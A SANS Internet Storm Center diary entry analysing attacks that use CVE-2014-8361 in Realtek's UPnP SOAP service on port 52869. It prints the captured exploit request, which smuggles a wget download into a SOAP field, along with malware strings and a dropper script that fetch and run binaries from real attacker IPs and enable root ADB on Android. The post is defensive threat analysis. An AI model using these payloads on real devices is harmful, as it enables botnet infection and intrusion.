SANS ISC: When Cameras and Routers attack Phones. Spike in CVE-2014-8361 Exploits Against Port 52869 - SANS Internet Storm Center

• SANS Site Network
  • Current Site
  • SANS Internet Storm Center
  • Other SANS Sites Help
  • Graduate Degree Programs
  • Security Training
  • Security Certification
  • Security Awareness Training
  • Penetration Testing
  • Industrial Control Systems
  • Cyber Defense Foundations
  • DFIR
  • Software Security
  • Government OnSite Training

SANS ISC InfoSec Forums

Universal Plug an Play (UPnP) is the gift that keeps on giving. One interesting issue with UPnP (aside from the fact that it never ever should be exposed to the Internet, but often is), is the fact that it can be reached via various routes. One of the lesser used routes is SOAP requests via TCP port 52869. 

CVE-2014-8361 is one vulnerability that is affecting the Realtek implementation of this UPnP over SOAP protocol. Realtek distributes an SDK to make it easier to implement this protocol. As part of the SDK, it ships "miniigd", which is Realtek's daemon used to listen for and parse these SOAP requests. Over the years, researchers have found a couple of vulnerabilities in this service. [1]

The spike we saw a couple of days ago was caused by the following request. I formatted the request to make it more readable and highlighted the remote code execution part.

POST /picsdesc.xml HTTP/1.1
Host: <redacted>:52869
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.18.4
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
Content-Length: 628

<?xml version="1.0" ?>
    <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    <s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
        <NewRemoteHost></NewRemoteHost>
        <NewExternalPort>47450</NewExternalPort>
        <NewProtocol>TCP</NewProtocol>
        <NewInternalPort>44382</NewInternalPort>
        <NewInternalClient>`wget http://185.159.82.110/qtx.mips -O -> /tmp/s`</NewInternalClient>
        <NewEnabled>1</NewEnabled>
        <NewPortMappingDescription>syncthing</NewPortMappingDescription>
        <NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping>
</s:Body></s:Envelope>

The problem is that the miniiigd daemon is passing the parameters to an operating system command without validation, leading to a classic remote code injection problem.

In this particular case, "qtx.mips" is well-known malware. Known enough where even the MIPS version is blocked by my desktop AV as a "Linux DDOS Agent." A quick look at the binary shows a couple of strings of interest:

CNXN
host::
OPEN
shell:cd /data/local/ tmp ; busybox wget http://77.246.157.180/r -O ->r;sh r; wget http://77.246.157.180/br -O ->r2;sh r2; busybox curl http://77.246.157.180/bc > r3;sh r3;curl http://77.246.157.180/c > r4;sh r4;rm -rf r r2 r3 r4

These strings are commonly associated with the Android debug port. I wrote about some attacks against exposed devices a while ago. In this case, it appears the script attempts to download and run additional malware via the port.

"r," "br" and "c" are no longer available at the IP address listed above, but files by the same name are available at 185.159.82.110. The files are very similar with small differences in syntax to account for different OS versions:

#!/bin/sh
n="arm7 arm5 arm mips mpsl x86 x64 i686"
http_server="185.159.82.110"

cd /data/local/tmp
rm -rf z
for i in $n
do
    cp /system/bin/sh z
    >z
    busybox curl http://$http_server/qtx.$i > z
    chmod 777 z
    ./z cbusybox.exploit.$i
    rm -rf z
done

adb start-server
adb root

The script first "brute forces" the architecture of the system by downloading versions of the "qtx" binary compiled for different platforms and running them. After running the binary, it is removed. Finally, the script turns on the Android debug bridge (ADB) and makes sure it has root permissions.

Any recent version of Android should prompt the user and ask the user to accept the remote connection. It isn't clear if this exploit only targets old versions of Android, or if they hope the user will just accept the connection.

[1] https://www.exploit-db.com/exploits/37169/

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|